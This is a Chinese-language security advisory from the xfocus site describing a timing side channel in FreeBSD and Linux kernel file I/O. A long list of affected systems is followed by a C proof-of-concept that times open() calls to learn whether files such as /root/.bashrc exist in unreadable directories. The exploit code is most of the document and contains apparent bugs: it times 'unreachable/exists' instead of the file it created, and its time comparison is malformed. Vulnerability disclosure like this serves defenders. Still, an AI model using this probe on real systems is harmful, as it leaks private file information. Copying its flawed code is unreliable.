xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

多个供应商I/O系统调用可判断文件是否存在


发布时间:2003-04-04
更新时间:2003-04-04
严重程度:
威胁程度:服务器信息泄露
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:7279

受影响系统
FreeBSD FreeBSD 4.0
FreeBSD FreeBSD 4.1
FreeBSD FreeBSD 4.2
FreeBSD FreeBSD 4.3
FreeBSD FreeBSD 4.4
FreeBSD FreeBSD 4.5
FreeBSD FreeBSD 4.6
FreeBSD FreeBSD 4.7
Linux kernel 2.2
Linux kernel 2.2.1
Linux kernel 2.2.2
Linux kernel 2.2.3
Linux kernel 2.2.4
Linux kernel 2.2.5
Linux kernel 2.2.6
Linux kernel 2.2.7
Linux kernel 2.2.8
Linux kernel 2.2.9
Linux kernel 2.2.10
   + Caldera OpenLinux 2.3
Linux kernel 2.2.11
Linux kernel 2.2.12
Linux kernel 2.2.13
   + S.u.S.E. Linux 6.3
   + S.u.S.E. Linux 6.4
Linux kernel 2.2.14
   + RedHat Linux 6.2
   + SCO eDesktop 2.4
   + SCO eServer 2.3.1
   + Sun Cobalt RaQ 4
Linux kernel 2.2.15
   + MandrakeSoft Corporate Server 1.0.1
   + MandrakeSoft Linux Mandrake 7.1
Linux kernel 2.2.16
   + RedHat Linux 7.0
   + Sun Cobalt Qube 3
   + Sun Cobalt RaQ XTR
   + Trustix Secure Linux 1.1
Linux kernel 2.2.17
   + MandrakeSoft Linux Mandrake 7.2
   + S.u.S.E. Linux 7.0
   + Trustix Secure Linux 1.2
Linux kernel 2.2.18
   + Wirex Immunix OS 6.2
   + Wirex Immunix OS 7.0
   + Wirex Immunix OS 7.0 -Beta
Linux kernel 2.2.19
   + EnGarde Secure Linux 1.0.1
   + MandrakeSoft Linux Mandrake 8.0
   + MandrakeSoft Linux Mandrake 8.0 ppc
   + MandrakeSoft Linux Mandrake 8.1
   + MandrakeSoft Single Network Firewall 7.2
   + S.u.S.E. Linux 6.3
   + S.u.S.E. Linux 6.4
   + S.u.S.E. Linux 7.0
   + Trustix Secure Linux 1.5
Linux kernel 2.2.20
   + MandrakeSoft Linux Mandrake 8.2
   + MandrakeSoft Linux Mandrake 8.2 ppc
Linux kernel 2.2.21
Linux kernel 2.2.22
   + Trustix Secure Linux 1.1
   + Trustix Secure Linux 1.2
   + Trustix Secure Linux 1.5
Linux kernel 2.2.23
Linux kernel 2.2.24
Linux kernel 2.2.25
Linux kernel 2.4
Linux kernel 2.4.1
Linux kernel 2.4.2
   + Caldera OpenLinux Server 3.1
   + Caldera OpenLinux Workstation 3.1
   + RedHat Linux 7.1 alpha
   + RedHat Linux 7.1 i386
Linux kernel 2.4.3
   + MandrakeSoft Linux Mandrake 8.0
   + MandrakeSoft Linux Mandrake 8.0 ppc
Linux kernel 2.4.4
   + S.u.S.E. Linux 7.2
Linux kernel 2.4.5
   + Slackware Linux 8.0
Linux kernel 2.4.6
Linux kernel 2.4.7
   + RedHat Linux 7.2
   + S.u.S.E. Linux 7.1
   + S.u.S.E. Linux 7.2
Linux kernel 2.4.8
   + MandrakeSoft Linux Mandrake 8.0
   + MandrakeSoft Linux Mandrake 8.1
   + MandrakeSoft Linux Mandrake 8.2
Linux kernel 2.4.9
   + RedHat Linux 7.1 alpha
   + RedHat Linux 7.1 i386
   + RedHat Linux 7.1 ia64
   + RedHat Linux 7.2 alpha
   + RedHat Linux 7.2 i386
   + RedHat Linux 7.2 ia64
   + Sun Linux 5.0
   + Sun Linux 5.0.3
Linux kernel 2.4.10
   + S.u.S.E. Linux 7.3
Linux kernel 2.4.11
Linux kernel 2.4.12
   + Conectiva Linux 7.0
Linux kernel 2.4.13
Linux kernel 2.4.14
Linux kernel 2.4.15
Linux kernel 2.4.16
   + Sun Cobalt RaQ 550
Linux kernel 2.4.17
Linux kernel 2.4.18
   + Astaro Security Linux 2.0 16
   + Astaro Security Linux 2.0 23
   + MandrakeSoft Linux Mandrake 8.0
   + MandrakeSoft Linux Mandrake 8.1
   + MandrakeSoft Linux Mandrake 8.2
   + RedHat Linux 7.3
   + RedHat Linux 8.0
   + S.u.S.E. Linux 7.1
   + S.u.S.E. Linux 7.2
   + S.u.S.E. Linux 7.3
   + S.u.S.E. Linux 8.0
Linux kernel 2.4.19
   + Conectiva Linux 8.0
   + MandrakeSoft Linux Mandrake 9.0
   + S.u.S.E. Linux 8.1
Linux kernel 2.4.20
   + CRUX CRUX Linux 1.0
   + RedHat Linux 9.0 i386
详细描述
由于各种系统调用实现存在一定问题,可导致判断不可读目录文件中是否存在。

通过判断系统调用返回的时间长短,可以判断不可读目录中文件是否存在,经过测试,文件不存在的返回时间要三倍小于文件存在的时间。

测试代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>

#ifndef O_NOFOLLOW
#define O_NOFOLLOW  0400000 /* don't follow links */
#endif

#ifndef O_LARGEFILE
#define O_LARGEFILE 0100000
#endif

int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;

/* taken from scuts format string example/brute_blind example */

unsigned long int
tv_diff (struct timeval *tv_a, struct timeval *tv_b)
{
        unsigned long int       diff;

        if (tv_a->tv_sec < tv_b->tv_sec ||
                (tv_a->tv_sec == tv_b->tv_sec && tv_a->tv_sec <
tv_b->tv_sec))
        {
                struct timeval *        tvtmp;

                tvtmp = tv_b;
                tv_b = tv_a;
                tv_a = tvtmp;
        }

        diff = (tv_a->tv_sec - tv_b->tv_sec) * 1000000;
        if (tv_a->tv_sec == tv_b->tv_sec) {
                diff += tv_a->tv_usec - tv_b->tv_usec;
        } else {
                if (tv_a->tv_usec >= tv_b->tv_usec)
                        diff += tv_a->tv_usec - tv_b->tv_usec;
                else
                        diff -= tv_b->tv_usec - tv_a->tv_usec;
        }

        return (diff);
}

void cleanup()
{

    printf("[+] cleaning up\n");
    if(chmod("unreachable", 0700)==-1) {
        printf("\t[-] Unable to revert unreachable back to being reachable\n");
        exit(EXIT_FAILURE);
    }

    if(unlink("unreachable/iexist")==-1) {
        printf("\t[-] Unable to remove unreachable/iexist\n");
        exit(EXIT_FAILURE);
    }

    if(rmdir("unreachable")==-1) {
        printf("\t[-] Unable to rmdir unreachable\n");
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char **argv)
{
    struct timeval tv_a, tv_b;
    int fd_a, fd_b;
    char buf_a[500], buf_b[500];

    unsigned int success, n, failure;
    
    atexit(cleanup);
    
    printf("[+] creating unreachable\n");
    if(mkdir("unreachable", 0700)==-1) {
        printf("\t[-] Unable to create unreachable\n");
        exit(EXIT_FAILURE);
    }
    
    printf("[+] creating unreachable/iexist\n");
    if((fd_a = creat("unreachable/iexist", 0700))==-1) {
        printf("\t[-] Unable to create unreachable/iexist\n");
        exit(EXIT_FAILURE);
    }
    close(fd_a);

    printf("[+] chmod 0'ing unreachable\n");
    if(chmod("unreachable", 00)==-1) {
        printf("\t[-] Unable to chmod unreachable\n");
        exit(EXIT_FAILURE);
    }

    printf("[+] "); fflush(stdout);

    system("ls -alF | grep unreachable");
    
    printf("[+] Timing open() on unreachable/iexist\n");
    
    /* fd_a = open("unreachable/exists", flags);
    close(fd_a); */
    
    gettimeofday(&tv_a, NULL);
    fd_a = open("unreachable/exists", flags);
    gettimeofday(&tv_b, NULL);
    
    
    printf("\t[+] Successful: %ld usecs, got %m\n", (success = tv_diff(&tv_b, &tv_a)));
    close(fd_a);

    printf("[+] Timing open() on unreachable/non-existant\n");
    
/*    fd_b = open("unreachable/non-existant", flags);
    close(fd_b); */
    
    gettimeofday(&tv_a, NULL);
    fd_b = open("unreachable/non-existant", flags);
    gettimeofday(&tv_b, NULL);
    

    printf("\t[+] Failure: %ld usecs, got %m\n", (failure = tv_diff(&tv_b, &tv_a)));

    close(fd_b);
    success += tv_diff(&tv_b, &tv_a);
    
    success /= 3;
//    success -= 2;

    if(failure > success || success > (failure*8) ) {
        printf("[-] It appears the load went up unexpectadly, mebe try re-running?\n");
        exit(EXIT_FAILURE);
    }

    /* tweak the success value */

    if((failure*4) >= success) success--;
    if(success <= (failure*3)) success++;
    
    printf("\t[+] Using %d as our cutoff.\n", success);
    printf("[+] testing /root/.bashrc and /root/non-existant\n");
    
/*    fd_a = open("/root/.bashrc", flags);
    close(fd_a); */
    
    gettimeofday(&tv_a, NULL);
    fd_a = open("/root/.bashrc", flags);
    gettimeofday(&tv_b, NULL);
    
    if((n = tv_diff(&tv_b, &tv_a)) >= success) {
        printf("\t[+] /root/.bashrc exists (%d usecs), got %m\n", n);
    } else {
        printf("\t[+] /root/.bashrc doesn't exist (%d usecs), got %m\n", n);
    }
    close(fd_a);
    
/*    fd_b = open("/root/non-existant", flags);
    close(fd_b); */
    
    gettimeofday(&tv_a, NULL);
    fd_b = open("/root/non-existant", flags);
    gettimeofday(&tv_b, NULL);
    
    if((n = tv_diff(&tv_b, &tv_a)) >= success) {
        printf("\t[+] /root/non-existant exists (%d usecs), got %m\n", n);
    } else {
        printf("\t[+] /root/non-existant doesn't exist (%d usecs), got %m\n", n);
    }
    
    close(fd_b);
}

解决方案
尚无

相关信息
Andrew Griffiths <andrewg@d2.net.au>
参考:http://www.securityfocus.com/archive/1/317425